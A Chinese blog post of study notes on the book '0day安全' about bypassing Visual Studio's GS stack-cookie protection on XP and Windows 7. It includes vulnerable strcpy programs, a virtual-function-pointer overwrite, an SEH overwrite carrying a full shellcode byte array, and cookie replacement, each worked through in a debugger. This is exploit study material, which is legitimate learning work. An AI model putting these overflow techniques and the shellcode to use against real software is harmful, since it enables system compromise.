《0day安全》——栈中的守护天使:GS

GS安全编译选项

blob.png

原理就是在栈帧中加入一个随机的DWORD,ida交它为security cookie

位于ebp之前,函数返回之前,检测那个security cookie是否被覆盖了(即值改变了)

这样操作必然带来性能的下降,所以有些函数是不会应用GS的

1、函数不包含缓冲区;

2、函数被定义为加油变脸参数列表;

3、函数使用无保护的关键字标记;

4、函数在第一个语句中包含内嵌汇编代码;

5、缓冲区不是8字节类型而且大小不大于4个字节。

有例外就有绕过,所以又出来了

#pragma strict_gs_check(on)

可以对任意的函数添加security cookie,即可对不符合GS包含条件的函数添加GS保护

此外,vs2005之后还会变量重排,将字符串变量移动到栈的高地址处,即离ebp相距最近,这样可防止破坏局部变量的值,

而且还会将指针参数和字符串参数复制到内存中搞个副本,防止函数参数被破坏

接下来为了更为直观地反映出程序在内存中的状态,禁用编译优化

blob.png

利用未保护的内存突破GS

看代码

#include "string.h"
int vulfuncion(char *str){
char array[4];
strcpy(array, str);
return 1;
}
int main(){
char * str = "yeah, the function is without GS";
vulfuncion(str);
return 0;
}

由于漏洞函数的缓冲区不包含4字节以上的缓冲区,所以没有GS保护

编译后可以用ida看看

blob.png

如果我改成16,区别就出来了

blob.png

blob.png

J__RTC_CheckEsp是检查堆栈平衡的,上面那个_RTC_CheckStackVars具体不清楚,看名字就是检测栈上的变量的

0xCCCCCCCC unicode编码就是“烫烫”

blob.png

我们启动调试

blob.png

这个应该就是_RTC_CheckStackVars的作用了

我们尝试点击继续

blob.png

那个0x6974636E,就是被ncti覆盖后的逆序 

blob.png

覆盖虚函数突破GS

代码

#include "stdafx.h"
#include "string.h"
class GSVirtual {
public :
void gsv(char * src)
{
char buf[200];
strcpy(buf, src);
bar(); // virtual function call
}
virtual void  bar()
{
}
};
int main()
{
GSVirtual test;
test.gsv("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
return 0;
}

先来199个\x90,先看看main函数

blob.png

根进gsv,运行完strcpy暂停,看看栈的结构

blob.png

为什么我们这里可以淹没那个Security Cookie呢,因为函数返回前我们调用了虚函数vir,如果虚函数表地址被我们改了,那么调用虚函数vir(就到我们向去的地方执行了)

问题来了,问题是buf每次的地址可能不一样,

但我们发现原始参数位于虚表附近

blob.png

而且每次低位都是一样的

blob.png

那我们只要将最低位覆盖成08就好了

计算了一下,还需27字节

strcpy覆盖前

blob.png

结果是没考虑到哪个结束符00,将虚表地址的第三个字节覆盖了

blob.png

先手动改一下吧。。。。

blob.png

看看怎么调用的虚函数

blob.png

接下来怎么跳到我们的shellcode呢

发现调用虚函数前我们栈顶的元素指向我们的shellcode

blob.png

那么我们只要找个pop ret的组件就行了

blob.png

blob.png

后来实验。。。哎,失败,又出现各种问题。。。

作者那个好像有点问题执行完pop pop ret 后,就去shellcode的首地址,首地址是那跳板的地址,都不是指令,怎么搞呢

不过好像也可以翻译成指令

blob.png

哎,先知道原理吧

之后在xp下实验吧,shellcode的首地址尾数竟然是00,跟作者的一样

blob.png

查找rop

blob.png

可以看到eip已经到这了

blob.pngpop两次就回到

blob.png

但是第一条指令会是那个rop地址,这就尴尬了

blob.png

攻击异常处理突破GS

作者的代码

#include <stdafx.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xA0\xFE\x12\x00"//address of shellcode
;
void test(char * input)
{
char buf[200];
strcpy(buf,input);
    strcat(buf,input);
}
void main()
{
test(shellcode);
}

运行一下,作者的代码还差4个90才能覆盖。。

加了四个后就可以了

blob.png

参数被我们的90覆盖

blob.png

所以最终触发访问异常(从非法地址读取数据)

调用被我们覆盖的那个地址,即shellcode的地址,最终执行shellcode

同时替换栈中和.data中的cookie突破GS

这个看着都有点困难

由于开了win7开了aslr,所以那个security cookie在01333000

blob.png

之后将栈上的cookie修改为与ebp异或后的值即可

我们手动改为90吧,嘻嘻

blob.png

在win7下肯定有的困难了,vs2012编译的在xp运行不了

在xp看看

blob.png执行完就被改了

blob.png

看看覆盖返回地址后的状态

blob.png

之后就执行到shellcode位置了

blob.png

ko

blob.png

打赏作者
喜欢本博客,打赏让博客永久运行,多少你说了算

您的支持将鼓励我们继续创作!

[微信] 扫描二维码打赏

[支付宝] 扫描二维码打赏

发表评论

电子邮件地址不会被公开。 必填项已用*标注